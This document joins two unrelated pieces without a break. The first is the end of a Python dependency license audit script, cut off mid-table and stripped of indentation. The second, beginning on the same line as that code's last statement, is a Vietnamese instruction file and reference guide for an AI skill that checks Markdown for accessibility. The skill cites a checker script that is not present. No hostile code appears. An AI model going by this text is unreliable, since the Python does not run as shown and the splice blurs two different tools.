"apache license 2.0": "Apache-2.0", "apache license, version 2.0": "Apache-2.0",
"apache software license": "Apache-2.0", "apache license version 2.0": "Apache-2.0",
"bsd": "BSD-3-Clause", "bsd license": "BSD-3-Clause", "new bsd": "BSD-3-Clause", "bsd-3": "BSD-3-Clause",
"3-clause bsd": "BSD-3-Clause", "bsd 3-clause": "BSD-3-Clause", "simplified bsd": "BSD-2-Clause",
"bsd-2": "BSD-2-Clause", "2-clause bsd": "BSD-2-Clause",
"python software foundation license": "PSF-2.0", "psf": "PSF-2.0", "psfl": "PSF-2.0",
"mozilla public license 2.0 (mpl 2.0)": "MPL-2.0", "mpl 2.0": "MPL-2.0", "mpl-2": "MPL-2.0", "mpl2": "MPL-2.0",
"gplv2": "GPL-2.0-only", "gpl-2.0": "GPL-2.0-only", "gpl v2": "GPL-2.0-only", "gpl2": "GPL-2.0-only",
"gplv2+": "GPL-2.0-or-later", "gpl-2.0+": "GPL-2.0-or-later",
"gplv3": "GPL-3.0-only", "gpl-3.0": "GPL-3.0-only", "gpl v3": "GPL-3.0-only", "gpl3": "GPL-3.0-only",
"gplv3+": "GPL-3.0-or-later", "gpl-3.0+": "GPL-3.0-or-later", "gpl": "GPL-3.0-or-later",
"gnu general public license v2 (gplv2)": "GPL-2.0-only", "gnu general public license v3 (gplv3)": "GPL-3.0-only",
"gnu general public license v2 or later (gplv2+)": "GPL-2.0-or-later",
"gnu general public license v3 or later (gplv3+)": "GPL-3.0-or-later",
"lgpl": "LGPL-2.1-or-later", "lgplv2": "LGPL-2.1-only", "lgplv2+": "LGPL-2.1-or-later", "lgpl-2.1": "LGPL-2.1-only",
"lgplv3": "LGPL-3.0-only", "lgplv3+": "LGPL-3.0-or-later", "lgpl-3.0": "LGPL-3.0-only",
"gnu lesser general public license v2 (lgplv2)": "LGPL-2.1-only",
"gnu lesser general public license v3 (lgplv3)": "LGPL-3.0-only",
"gnu lesser general public license v2 or later (lgplv2+)": "LGPL-2.1-or-later",
"agpl": "AGPL-3.0-only", "agplv3": "AGPL-3.0-only", "agpl-3.0": "AGPL-3.0-only",
"gnu affero general public license v3": "AGPL-3.0-only", "gnu affero general public license v3 (agplv3)": "AGPL-3.0-only",
"eclipse public license 2.0": "EPL-2.0", "epl 2.0": "EPL-2.0", "epl-2": "EPL-2.0",
"public domain": "Unlicense", "unlicense": "Unlicense", "the unlicense": "Unlicense", "cc0": "CC0-1.0",
"boost software license 1.0": "BSL-1.0", "zlib license": "Zlib", "zlib": "Zlib",
"business source license 1.1": "BUSL-1.1", "elastic license 2.0": "Elastic-2.0",
"server side public license": "SSPL-1.0", "sspl": "SSPL-1.0",
}
CATEGORY = { # SPDX id prefix -> category
"MIT": "permissive", "MIT-0": "public-domain", "ISC": "permissive", "BSD-2-Clause": "permissive",
"BSD-3-Clause": "permissive", "Apache-2.0": "permissive", "PSF-2.0": "permissive", "Python-2.0": "permissive",
"Zlib": "permissive", "BSL-1.0": "permissive", "X11": "permissive", "BlueOak-1.0.0": "permissive",
"CC-BY-4.0": "permissive", "CC-BY-3.0": "permissive", "Unicode-DFS-2016": "permissive", "Unicode-3.0": "permissive",
"0BSD": "public-domain", "Unlicense": "public-domain", "CC0-1.0": "public-domain", "WTFPL": "public-domain",
"MPL-2.0": "weak-copyleft", "EPL-1.0": "weak-copyleft", "EPL-2.0": "weak-copyleft", "CDDL-1.0": "weak-copyleft",
"CDDL-1.1": "weak-copyleft", "LGPL-2.1": "weak-copyleft", "LGPL-3.0": "weak-copyleft", "CC-BY-SA-4.0": "weak-copyleft",
"GPL-2.0": "strong-copyleft", "GPL-3.0": "strong-copyleft",
"AGPL-3.0": "network-copyleft", "SSPL-1.0": "network-copyleft",
"BUSL-1.1": "source-available", "Elastic-2.0": "source-available", "Commons-Clause": "source-available",
"CC-BY-NC-4.0": "source-available", "CC-BY-NC-SA-4.0": "source-available", "PolyForm-Noncommercial-1.0.0": "source-available",
}
RANK = {"public-domain": 0, "permissive": 1, "weak-copyleft": 2, "strong-copyleft": 3,
"network-copyleft": 4, "source-available": 5, "unknown": 6}
SEV_ORDER = {"HIGH": 0, "WARN": 1, "INFO": 2, "OK": 3}
NOTICE_LICENSES = {"Apache-2.0"}
def unwrap(text):
"""Remove parentheses that wrap the whole expression: '(MIT OR X)' -> 'MIT OR X'."""
t = text.strip()
while t.startswith("(") and t.endswith(")"):
depth = 0
for i, ch in enumerate(t):
depth += ch == "("
depth -= ch == ")"
if depth == 0 and i < len(t) - 1:
return t
t = t[1:-1].strip()
return t
def normalize(token):
t = unwrap(token)
if not t:
return ""
key = t.lower()
if key in ALIASES:
return ALIASES[key]
for spdx in CATEGORY:
if key == spdx.lower() or key.startswith(spdx.lower() + "-") or key == spdx.lower() + "+":
return t if key.startswith(spdx.lower() + "-") else spdx
return t
def category_of(spdx):
if spdx.upper().startswith("LICENSEREF") or spdx.upper().startswith("SEE LICENSE"):
return "unknown"
for prefix, cat in sorted(CATEGORY.items(), key=lambda kv: -len(kv[0])):
if spdx == prefix or spdx.startswith(prefix + "-") or spdx.startswith(prefix + "+"):
return cat
return "unknown"
def classify(expr):
"""Return (normalized expression, chosen license, category, exception) for a license expression."""
raw = (expr or "").strip()
if not raw or raw.upper() in ("UNKNOWN", "NONE", "NOASSERTION", "UNLICENSED", "CUSTOM", "N/A"):
return raw or "(missing)", raw or "(missing)", "unknown", None
if raw.upper().startswith("SEE LICENSE"):
return raw, raw, "unknown", None
whole = unwrap(raw)
if whole.lower() in ALIASES: # long names such as "... v2 or later (LGPLv2+)" are one license
spdx = ALIASES[whole.lower()]
return spdx, spdx, category_of(spdx), None
text = re.sub(r"\s+", " ", whole.replace("/", " OR ").replace(";", " OR "))
exception = None
m = re.search(r"\bWITH\s+([\w.+-]+)", text, re.I)
if m:
exception = m.group(1)
text = text[:m.start()] + text[m.end():]
if re.search(r"\sor\s", text, re.I) and not re.search(r"\sand\s", text, re.I):
parts, mode = re.split(r"\s+or\s+", text, flags=re.I), "or"
elif re.search(r"\sand\s", text, re.I) and not re.search(r"\sor\s", text, re.I):
parts, mode = re.split(r"\s+and\s+", text, flags=re.I), "and"
elif re.search(r"\s(or|and)\s", text, re.I):
parts, mode = re.split(r"\s+(?:or|and)\s+", text, flags=re.I), "and" # mixed: be conservative
else:
parts, mode = [text], "single"
lics = [normalize(p) for p in parts if normalize(p)]
if not lics:
return raw, raw, "unknown", exception
scored = sorted(lics, key=lambda l: RANK[category_of(l)])
chosen = scored[0] if mode == "or" else scored[-1]
cat = category_of(chosen)
if exception and cat == "strong-copyleft" and re.search(r"classpath|linking|gcc|runtime|autoconf|bison|bootloader", exception, re.I):
cat = "weak-copyleft"
joiner = " OR " if mode == "or" else " AND "
return joiner.join(lics) + (f" WITH {exception}" if exception else ""), chosen, cat, exception
def assess(cat, chosen, distribution, project):
proj_cat = "proprietary" if project.lower() == "proprietary" else category_of(normalize(project))
project_spdx = normalize(project)
if cat == "unknown":
return "HIGH", "License is missing or not recognized; find the real license text before shipping."
if cat == "source-available":
return "HIGH", "Source-available or non-commercial terms usually restrict commercial use or hosting; needs a license review."
if project_spdx.startswith("GPL-2.0-only") and chosen.startswith("Apache-2.0"):
return "HIGH", "Apache-2.0 is generally considered incompatible with GPL-2.0-only projects."
gpl3_family = re.match(r"(A|L)?GPL-3\.0", chosen)
if project_spdx.startswith("GPL-2.0-only") and gpl3_family:
return "HIGH", f"{chosen} cannot be combined with a GPL-2.0-only project; the project would need GPL-3.0 terms."
if re.match(r"GPL-3\.0|AGPL-3\.0", project_spdx) and chosen.startswith("GPL-2.0-only"):
return "HIGH", "GPL-2.0-only code cannot be relicensed under GPL-3.0; ask upstream for 'or later' terms or replace it."
if proj_cat in ("strong-copyleft", "network-copyleft") and cat in ("strong-copyleft", "network-copyleft"):
if cat == "network-copyleft" and proj_cat != "network-copyleft" and distribution == "saas":
return "WARN", "AGPL/SSPL in a GPL project run as a service: the whole service source must be offered to users."
return "OK", "Copyleft dependency in a copyleft project; check version compatibility (for example GPL-2.0-only vs GPL-3.0)."
if cat == "network-copyleft":
if distribution == "internal":
return "WARN", "Network copyleft: fine for purely internal use, but exposing it to outside users triggers source obligations."
return "HIGH", "Network copyleft (AGPL/SSPL): offering the service or shipping it requires releasing the corresponding source."
if cat == "strong-copyleft":
if distribution == "distributed":
return "HIGH", "GPL code distributed with your product requires the combined work to be released under the GPL."
if distribution == "saas":
return "WARN", "GPL is not triggered by network use alone, but any future distribution (apps, on-prem, SDKs) would be."
return "INFO", "GPL for internal use only has no distribution obligations; keep it out of anything you ship."
if cat == "weak-copyleft":
if distribution == "distributed":
return "WARN", "Weak copyleft: ship the license, keep the library replaceable (dynamic linking for LGPL), and publish changes to its files."
return "INFO", "Weak copyleft: publish any changes you make to this library's own files if you distribute it later."
if chosen in NOTICE_LICENSES and distribution == "distributed":
return "INFO", "Apache-2.0: include the license and any NOTICE file in your distribution."
return "OK", "Permissive: keep the copyright notice and license text in your third-party notices."
def load(text):
stripped = text.lstrip()
if not stripped:
raise ValueError("input is empty")
if stripped[0] in "[{":
data = json.loads(text)
rows = []
if isinstance(data, dict): # license-checker
for key, val in data.items():
name, _, ver = key.rpartition("@")
if not name:
name, ver = key, ""
lic = val.get("licenses", "") if isinstance(val, dict) else val
if isinstance(lic, list):
lic = " OR ".join(lic)
rows.append({"name": name, "version": ver, "license": str(lic), "scope": "runtime"})
return rows
for item in data:
if not isinstance(item, dict):
raise ValueError("JSON list items must be objects")
low = {k.lower(): v for k, v in item.items()}
lic = low.get("license", low.get("licenses", ""))
if isinstance(lic, list):
lic = " OR ".join(lic)
rows.append({"name": str(low.get("name", "")), "version": str(low.get("version", "")),
"license": str(lic or ""), "scope": str(low.get("scope", "runtime") or "runtime").lower()})
return rows
reader = csv.DictReader(io.StringIO(text))
fields = [f.strip().lower() for f in (reader.fieldnames or [])]
if "name" not in fields or "license" not in fields:
raise ValueError(f"CSV needs a header with at least 'name' and 'license' columns, got: {', '.join(fields) or '(none)'}")
rows = []
for r in reader:
r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
if not r.get("name"):
continue
rows.append({"name": r["name"], "version": r.get("version", ""), "license": r.get("license", ""),
"scope": (r.get("scope") or "runtime").lower()})
return rows
def audit(rows, args):
allow = {normalize(x) for x in args.allow.split(",") if x.strip()} if args.allow else set()
deny = {normalize(x) for x in args.deny.split(",") if x.strip()} if args.deny else set()
results, seen = [], {}
for r in rows:
expr, chosen, cat, exc = classify(r["license"])
sev, why = assess(cat, chosen, args.distribution, args.project_license)
if exc:
why += f" License exception {exc} applies; read its exact scope."
if chosen in deny:
sev, why = "HIGH", f"{chosen} is on your deny list."
elif chosen in allow and sev != "OK":
sev, why = "OK", f"{chosen} is on your allow list ({why})"
dev = r["scope"] in ("dev", "development", "test", "build")
if dev and sev in ("HIGH", "WARN") and chosen not in deny:
sev, why = "INFO", "Dev-only (not shipped): " + why
results.append({"name": r["name"], "version": r["version"], "license_raw": r["license"],
"license": expr, "effective": chosen, "category": cat, "scope": "dev" if dev else "runtime",
"severity": sev, "reason": why})
seen.setdefault(r["name"].lower(), set()).add(expr)
notes = []
for name, lics in seen.items():
if len(lics) > 1:
notes.append(f"{name}: different licenses across versions ({', '.join(sorted(lics))}); check which version you ship.")
results.sort(key=lambda x: (SEV_ORDER[x["severity"]], -RANK[x["category"]], x["name"].lower()))
counts = {s: sum(1 for x in results if x["severity"] == s) for s in SEV_ORDER}
cats = {}
for x in results:
cats[x["category"]] = cats.get(x["category"], 0) + 1
attribution = sorted({x["effective"] for x in results if x["scope"] == "runtime" and x["category"] in ("permissive", "weak-copyleft")})
return {"project_license": args.project_license, "distribution": args.distribution, "packages": len(results),
"severity_counts": counts, "category_counts": cats, "attribution_licenses": attribution,
"notes": notes, "results": results}
def print_text(rep):
print(f"Dependency license audit: {rep['packages']} packages, project license {rep['project_license']}, distribution {rep['distribution']}")
c = rep["severity_counts"]
print(f"HIGH {c['HIGH']} WARN {c['WARN']} INFO {c['INFO']} OK {c['OK']}")
print("Categories: " + ", ".join(f"{k} {v}" for k, v in sorted(rep["category_counts"].items(), key=lambda kv: RANK[kv[0]])))
print()
w = max([len(f"{x['name']}@{x['version']}") for x in rep["results"]] + [7])
print(f"{'SEV':<5} {'PACKAGE':<{w}} {'LICENSE':<28} {'CATEGORY':<17} SCOPE")
for x in rep["results"]:
pkg = f"{x['name']}@{x['version']}" if x["version"] else x["name"]
print(f"{x['severity']:<5} {pkg:<{w}} {x['license'][:28]:<28} {x['category']:<17} {x['scope']}")
findings = [x for x in rep["results"] if x["severity"] in ("HIGH", "WARN", "INFO")]
if findings:
print("\nFindings:")
for x in findings:
print(f"- [{x['severity']}] {x['name']} ({x['license_raw'] or 'no license field'}): {x['reason']}")
if rep["notes"]:
print("\nNotes:")
for n in rep["notes"]:
print(f"- {n}")
if rep["attribution_licenses"]:
print("\nThird-party notices must include license texts for: " + ", ".join(rep["attribution_licenses"]))
print("\nTriage aid only, not legal advice.")
def main():
p = argparse.ArgumentParser(description="Audit dependency licenses.", add_help=True)
p.add_argument("path", help="CSV or JSON file, or - for stdin")
p.add_argument("--project-license", default="proprietary")
p.add_argument("--distribution", default="saas", choices=["saas", "distributed", "internal"])
p.add_argument("--allow", default="")
p.add_argument("--deny", default="")
p.add_argument("--json", action="store_true")
args = p.parse_args()
try:
text = sys.stdin.read() if args.path == "-" else open(args.path, encoding="utf-8").read()
rows = load(text)
except FileNotFoundError:
print(f"error: file not found: {args.path}", file=sys.stderr)
return 2
except (ValueError, json.JSONDecodeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if not rows:
print("error: no dependencies found in the input", file=sys.stderr)
return 2
rep = audit(rows, args)
if args.json:
print(json.dumps(rep, indent=2))
else:
print_text(rep)
return 1 if rep["severity_counts"]["HIGH"] else 0
if __name__ == "__main__":
sys.exit(main())Kiểm tra khả năng tiếp cận (accessibility) cho các tệp README và tài liệu Markdown: thiếu văn bản thay thế (alt text) hoặc dùng tên tệp làm alt text, cấp độ tiêu đề, văn bản liên kết mơ hồ hoặc trùng lặp, URL trần, tiêu đề bảng để trống, hướng dẫn chỉ dựa vào màu sắc, chữ IN HOA TOÀN BỘ và dấu đầu dòng bằng emoji, sau đó viết alt text có mục đích rõ ràng và trả về tệp đã chỉnh sửa. Bao gồm kịch bản kiểm tra bằng Python thư viện chuẩn đã được kiểm thử dùng cho CI.
---
name: markdown-accessibility-checker
description: Đánh giá tài liệu Markdown (README, trang tài liệu, wiki, bài viết blog, nhật ký thay đổi/changelogs) về khả năng tiếp cận (accessibility) - thiếu hoặc viết kém văn bản thay thế (alt text) cho hình ảnh, cấu trúc tiêu đề, văn bản liên kết mơ hồ hoặc trùng lặp, URL trần, tiêu đề bảng để trống, hướng dẫn chỉ dựa vào màu sắc, chữ IN HOA TOÀN BỘ và dấu đầu dòng bằng emoji - sau đó viết alt text chuẩn xác cho từng hình ảnh dựa theo ngữ cảnh và trả về danh sách các điểm cần sửa hoặc tệp đã hoàn chỉnh. Sử dụng khi người dùng yêu cầu "kiểm tra khả năng tiếp cận cho tệp README của tôi", "viết alt text cho những hình ảnh này", "làm cho tài liệu của chúng tôi thân thiện với trình đọc màn hình", hoặc muốn tích hợp bước kiểm tra khả năng tiếp cận cho Markdown vào quy trình CI.
---
# Công cụ Kiểm tra Khả năng Tiếp cận Markdown (Markdown Accessibility Checker)
Bạn giúp các tài liệu Markdown trở nên dễ tiếp cận với tất cả mọi người, bao gồm những người sử dụng trình đọc màn hình (screen readers), điều hướng bằng bàn phím, công cụ phóng đại màn hình hoặc thiết bị hỗ trợ đọc. Bạn phát hiện những vấn đề mà kịch bản tự động có thể nhận diện, rồi thực hiện phần việc mà kịch bản không thể làm thay: viết văn bản thay thế (alt text) và văn bản liên kết có ý nghĩa, bám sát mục đích của tài liệu.
## Các tệp trong kỹ năng này
- `scripts/check_md_a11y.py` - quét các tệp hoặc thư mục Markdown và báo cáo các vấn đề kèm theo số dòng và mức độ nghiêm trọng (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/alt-text-guide.md` - hướng dẫn cách viết alt text theo từng loại hình ảnh (ảnh chụp màn hình, sơ đồ, biểu đồ, ảnh chụp, logo, huy hiệu/badges, hình ảnh trang trí)
- `references/structure-and-links.md` - tiêu đề, văn bản liên kết, bảng biểu, danh sách, nhấn mạnh câu chữ, và ý nghĩa của từng quy tắc trong kịch bản
- `templates/a11y-review.md` - mẫu báo cáo đánh giá và bảng làm việc soạn thảo alt text
- `examples/example-readme-review.md` - ví dụ thực tế về việc đánh giá và sửa lỗi tệp README của một dự án
## Quy trình làm việc
### 1. Xác định phạm vi đánh giá
Hỏi người dùng cần kiểm tra những tệp hoặc thư mục nào, đối tượng độc giả là ai (lập trình viên, người dùng cuối, sinh viên), và liệu người dùng muốn nhận báo cáo đánh giá, tệp đã sửa lỗi, hay cả hai. Nếu tài liệu được kết xuất bởi một trình tạo trang web tĩnh (site generator), hãy hỏi xem hệ thống đó có tự động thêm tiêu đề trang riêng hay không (khi đó tệp Markdown có thể không cần thẻ H1).
### 2. Chạy công cụ kiểm tra
```bash
python3 scripts/check_md_a11y.py README.md docs/
python3 scripts/check_md_a11y.py docs/ --json
python3 scripts/check_md_a11y.py docs/ --fail-on warn # for CI
```
Công cụ sẽ bỏ qua các khối mã (fenced code blocks) và mã nội tuyến (inline code). Mức `HIGH` có nghĩa là nội dung bị mất đối với một số độc giả (thiếu alt text, liên kết rỗng, tiêu đề rỗng), mức `WARN` là các lỗi nên sửa, mức `INFO` là các điểm cần con người xem xét trực tiếp. Nếu bạn không thể chạy kịch bản, hãy kiểm tra theo đúng các quy tắc đó bằng cách đọc tệp và nói rõ cho người dùng biết.
### 3. Viết văn bản thay thế (alt text)
Đối với mỗi hình ảnh bị gắn cờ cảnh báo, và đối với mỗi hình ảnh đã có sẵn alt text, hãy xác định mục đích của nó dựa theo `references/alt-text-guide.md`:
- Đọc phần văn bản xung quanh hình ảnh: hình ảnh này xuất hiện ở vị trí này trong tài liệu nhằm mục đích gì?
- Nếu bạn nhìn thấy hình ảnh, hãy mô tả những chi tiết quan trọng phục vụ cho mục đích đó. Nếu bạn không nhìn thấy hình ảnh, hãy hỏi người dùng, hoặc viết một bản nháp có đánh dấu rõ ràng dựa trên tên tệp và ngữ cảnh (ví dụ: "BẢN NHÁP: cần đối chiếu lại với hình ảnh thực tế").
- Các hình ảnh mang tính chất trang trí thuần túy thì để alt text rỗng; trong Markdown, tốt nhất nên xóa bỏ chúng hoặc sử dụng thẻ HTML `<img alt="">`.
Điền vào bảng làm việc alt text trong mẫu `templates/a11y-review.md`.
### 4. Sửa cấu trúc và các liên kết
Áp dụng các nguyên tắc trong `references/structure-and-links.md`: chỉ dùng một tiêu đề H1 duy nhất, không nhảy cóc cấp độ tiêu đề, dùng thẻ tiêu đề thực sự thay vì chỉ in đậm cả dòng, đặt văn bản liên kết có tính mô tả và không trùng lặp, bảng biểu phải có hàng tiêu đề, các câu hướng dẫn không được chỉ dựa vào màu sắc đơn thuần.
### 5. Bàn giao kết quả
- Báo cáo: điền vào mẫu `templates/a11y-review.md`, tương tự như trong `examples/example-readme-review.md`, ưu tiên liệt kê các mục sửa lỗi quan trọng nhất lên đầu.
- Tệp đã chỉnh sửa: trả về toàn bộ nội dung Markdown đã được áp dụng các bản sửa lỗi kèm theo danh sách ngắn gọn những thay đổi đã thực hiện. Không làm thay đổi ý nghĩa gốc, các đoạn mã mẫu hay đích đến của các liên kết.
- Chạy lại công cụ kiểm tra trên tệp đã sửa và đính kèm số liệu thống kê lỗi trước và sau khi sửa.
## Quy tắc
- Tuyệt đối không tự bịa ra nội dung hiển thị bên trong một bức ảnh. Nếu bạn chưa trực tiếp nhìn thấy bức ảnh đó, hãy đánh dấu alt text là bản nháp.
- Giữ cho alt text ngắn gọn (thường dưới 150 ký tự); đưa các phần giải thích dài (như số liệu biểu đồ, sơ đồ phức tạp) vào nội dung văn bản chính hoặc dòng chú thích ảnh, đồng thời ghi chú rõ điều đó trong alt text.
- Không bắt đầu alt text bằng cụm từ "hình ảnh của" ("image of") hay "bức tranh về" ("picture of").
- Hãy nhớ rằng các bài kiểm tra tự động chỉ phát hiện được một phần vấn đề; luôn nhắc người dùng những hạng mục vẫn cần kiểm tra thủ công (độ tương phản màu sắc bên trong hình ảnh, thứ tự đọc, phụ đề video).
- Tôn trọng giọng văn của tác giả; chỉ sửa lỗi về khả năng tiếp cận, không tự ý sửa văn phong.
FILE:references/alt-text-guide.md
# Hướng dẫn viết văn bản thay thế (Alt text)
Văn bản thay thế (Alt text) đóng vai trò thay thế cho hình ảnh đối với những người không thể nhìn thấy ảnh. Hãy tự hỏi: "Nếu tôi đọc to tài liệu này lên cho người khác nghe, đến vị trí này tôi sẽ nói gì thay vì giơ bức ảnh ra?" Câu trả lời phụ thuộc vào lý do vì sao bức ảnh được đặt ở đó, chứ không chỉ phụ thuộc vào những gì có mặt trong ảnh.
## Nguyên tắc cơ bản
- Cụ thể và ngắn gọn: thường từ 5 đến 20 từ, hiếm khi vượt quá 150 ký tự.
- Đưa phần thông tin quan trọng nhất lên đầu. Không bắt đầu bằng "hình ảnh về", "bức ảnh chụp" hay "ảnh chụp màn hình của" trừ khi bản thân loại hình ảnh đó mang ý nghĩa quan trọng (từ "Ảnh chụp màn hình" có thể hữu ích khi người đọc cần tìm đúng màn hình tương tự trên thiết bị).
- Kết thúc bằng dấu chấm câu để trình đọc màn hình ngắt nhịp tự nhiên.
- Không lặp lại nguyên văn từng chữ của dòng chú thích ảnh (caption) hoặc câu văn nằm ngay cạnh bức ảnh.
- Đưa cả phần chữ xuất hiện bên trong bức ảnh vào alt text nếu người đọc cần biết thông tin đó (nhãn nút bấm, thông báo lỗi).
## Theo từng loại hình ảnh
### Ảnh chụp màn hình của ứng dụng hoặc trang web
Nêu tên màn hình và một điểm quan trọng nhất mà người đọc cần chú ý.
- Kém: "screenshot" ("ảnh chụp màn hình")
- Tốt hơn: "Settings screen with the Units toggle set to Metric." ("Màn hình Cài đặt với nút chuyển đổi Đơn vị được đặt thành Hệ mét.")
### Ảnh chủ đạo (Hero images) và biểu ngữ (Banners)
Nếu bức ảnh chỉ nhằm tạo bầu không khí cảm xúc, đó là ảnh trang trí. Nếu bức ảnh giới thiệu sản phẩm, hãy mô tả nó trong một câu.
- "Trailhead Weather on a phone, showing a three-day forecast for a mountain pass." ("Ứng dụng Trailhead Weather trên điện thoại, hiển thị dự báo thời tiết ba ngày cho một đèo núi.")
### Sơ đồ và lưu đồ (Diagrams and flowcharts)
Nêu ý chính trong phần alt text, và trình bày toàn bộ cấu trúc chi tiết trong văn bản chính hoặc một danh sách ngay bên dưới bức ảnh.
- Alt: "Architecture diagram: the mobile app calls the API, which reads from a forecast cache and a weather provider. Details in the list below." ("Sơ đồ kiến trúc: ứng dụng di động gọi API, API này đọc dữ liệu từ bộ nhớ đệm dự báo và nhà cung cấp thời tiết. Chi tiết nằm ở danh sách bên dưới.")
### Biểu đồ và đồ thị (Charts and graphs)
Nêu loại biểu đồ, chủ đề và kết luận chính; đưa dữ liệu chi tiết vào bảng nếu người đọc cần tra cứu con số cụ thể.
- "Line chart of daily active users, January to June 2026, rising from 2,000 to 9,500 with a dip in April." ("Biểu đồ đường thể hiện số người dùng hoạt động hàng ngày từ tháng 1 đến tháng 6 năm 2026, tăng từ 2.000 lên 9.500 với một đợt giảm nhẹ vào tháng 4.")
### Ảnh chụp thực tế (Photos)
Mô tả những yếu tố quan trọng phục vụ cho mục đích của tài liệu: chủ thể, hành động, bối cảnh.
- "Snow-covered ridge trail with orange marker poles leading to a hut." ("Đường mòn trên sống núi phủ đầy tuyết với những cọc tiêu màu cam dẫn tới một trạm nghỉ.")
### Logo
Sử dụng tên tổ chức hoặc tên sản phẩm, và chỉ thêm chữ "logo" nếu điều đó giúp làm rõ nghĩa: "Trailhead Weather logo."
Khi logo đồng thời là một đường liên kết, hãy mô tả đích đến của liên kết đó: "Trailhead Weather home." ("Trang chủ Trailhead Weather.")
### Huy hiệu trạng thái (Badges: trạng thái bản dựng, phiên bản, giấy phép)
Viết đúng thông tin mà huy hiệu đó thể hiện: "Build: passing", "License: MIT", "Version 2.4.1".
### Biểu tượng (Icons) nằm trong văn bản hoặc liên kết
Nếu biểu tượng mang một chức năng cụ thể, hãy mô tả chức năng đó ("Tải xuống"); nếu nó chỉ lặp lại nội dung chữ viết ngay bên cạnh, thì đó là biểu tượng trang trí.
### Ảnh động GIF và video ngắn
Mô tả diễn biến xảy ra: "Animation: dragging a pin onto the map adds a new trailhead to the list." ("Hoạt ảnh: kéo một ghim thả vào bản đồ sẽ thêm một điểm xuất phát đường mòn mới vào danh sách.") Video cũng cần có phụ đề và, đối với nội dung quan trọng, cần có văn bản mô tả thay thế.
### Hình ảnh trang trí (Decorative images)
Đường kẻ phân cách, kết cấu nền và các chi tiết hoa văn thuần túy thị giác. Trong HTML, hãy dùng `alt=""` để trình đọc màn hình bỏ qua chúng. Trong Markdown, cú pháp `` mang tính nhập nhằng (thường bị hiểu là quên viết alt text), vì vậy tốt nhất nên xóa bỏ hình ảnh đó hoặc dùng thẻ `<img src="divider.png" alt="">`.
## Những sai lầm thường gặp
- Dùng nguyên tên tệp làm alt text: "IMG_2041.jpg", "hero-final-v3".
- Chỉ viết vỏn vẹn một từ: "image", "logo", "chart".
- Nhồi nhét từ khóa cho công cụ tìm kiếm (SEO).
- Viết alt text khác nhau cho cùng một bức ảnh được sử dụng ở nhiều nơi.
- Sa đà vào mô tả màu sắc hoặc bố cục trình bày trong khi thứ người đọc cần là thông tin cốt lõi chứ không phải hình thức bên ngoài.
FILE:references/structure-and-links.md
# Cấu trúc, liên kết và ý nghĩa của từng quy tắc
Người dùng trình đọc màn hình thường di chuyển nhanh qua tài liệu bằng danh sách tiêu đề hoặc danh sách liên kết. Một cấu trúc tốt chính là yếu tố giúp việc điều hướng đó khả thi.
## Tiêu đề (Headings)
| Quy tắc | Mức độ | Lý do | Cách sửa |
|---|---|---|---|
| empty-heading | HIGH | Một tiêu đề để trống sẽ được đọc lên là "tiêu đề cấp 2" mà không có bất kỳ nội dung nào phía sau. | Thêm nội dung chữ hoặc xóa bỏ dấu #. |
| no-h1 | WARN | Trang tài liệu không có tiêu đề chính trong sơ đồ dàn ý tiêu đề. | Bắt đầu bằng một dòng `# Tiêu đề`. Bỏ qua lỗi này nếu trình tạo trang web đã tự thêm H1 từ phần khai báo đầu tệp (front matter). |
| multiple-h1 | WARN | Việc có nhiều tiêu đề cấp 1 gây rối loạn sơ đồ dàn ý của trang. | Chỉ giữ lại một thẻ H1 duy nhất; sử dụng `##` cho các phần mục lớn. |
| heading-skip | WARN | Nhảy cóc từ H2 xuống thẳng H4 khiến người nghe tưởng rằng bị thiếu mất một mục ở giữa. | Sử dụng cấp độ kế tiếp ngay bên dưới (H3). Chọn cấp độ tiêu đề dựa theo cấu trúc phân cấp nội dung, không chọn vì kích thước phông chữ. |
| fake-heading | INFO | Một dòng chữ in đậm trông giống như tiêu đề nhưng lại không xuất hiện trong cây dàn ý của trình đọc màn hình. | Sử dụng thẻ tiêu đề thực sự nếu dòng đó mở đầu một mục mới; chỉ giữ nguyên in đậm nếu mục đích đơn thuần là nhấn mạnh câu. |
| no-headings | INFO | Văn bản dài không có tiêu đề phân mục rất khó đọc lướt và định vị thông tin. | Thêm tiêu đề phân mục sau mỗi vài đoạn văn. |
## Liên kết (Links)
| Quy tắc | Mức độ | Lý do | Cách sửa |
|---|---|---|---|
| empty-link | HIGH | Liên kết không có tên hiển thị để trình đọc màn hình đọc lên. | Thêm văn bản mô tả rõ ràng. |
| vague-link | WARN | Các cụm từ "Bấm vào đây" ("Click here") hoặc "xem thêm" ("read more") hoàn toàn vô nghĩa khi được liệt kê tách rời trong danh sách liên kết. | Nêu rõ tên đích đến: "tải xuống bản phát hành mới nhất", "hướng dẫn cài đặt". |
| same-text-different-url | WARN | Hai liên kết cùng có chữ "tài liệu" ("docs") nhưng trỏ tới hai địa chỉ khác nhau sẽ không thể phân biệt được. | Đặt văn bản hiển thị riêng biệt cho từng liên kết: "tài liệu tham khảo API", "hướng dẫn cài đặt". |
| url-as-link-text | INFO | Các đường dẫn URL dài sẽ bị trình đọc màn hình đánh vần từng ký tự một. | Sử dụng cụm từ mô tả ngắn gọn; chỉ giữ nguyên URL hiển thị nếu người đọc bắt buộc phải sao chép trực tiếp đường dẫn đó. |
| bare-url | INFO | Tương tự như trên, đồng thời không phải lúc nào cũng bấm vào được. | Bọc URL trong một liên kết có văn bản mô tả. |
Mẹo viết văn bản liên kết: đặt những từ quan trọng nhất lên đầu, giữ ngắn gọn, nêu rõ khi liên kết mở ra một tệp tải về ("bảng báo giá (PDF, 2 MB)"), và không viết từ "liên kết" ("link") vào trong văn bản hiển thị.
## Hình ảnh (Images)
| Quy tắc | Mức độ | Lý do |
|---|---|---|
| img-missing-alt | HIGH | `` không cung cấp văn bản thay thế nào; một số trình đọc màn hình sẽ đọc to tên tệp ảnh. |
| img-no-alt | HIGH | Thẻ `<img>` không có thuộc tính alt; trình đọc màn hình buộc phải đọc tên tệp ảnh. |
| img-generic-alt | WARN | Những từ chung chung như "image", "screenshot", "logo" đứng một mình không mang lại thông tin gì. |
| img-filename-alt | WARN | "IMG_2041.jpg" là tên tệp chứ không phải lời mô tả hình ảnh. |
| img-long-alt | WARN | Văn bản alt quá dài không thể tua hay điều hướng từng phần được; hãy chuyển nội dung chi tiết ra ngoài văn bản chính. |
| img-redundant-alt | INFO | Cụm từ "Hình ảnh của" ("Image of") bị thừa vì bản thân trình đọc màn hình đã tự thông báo đó là "hình ảnh". |
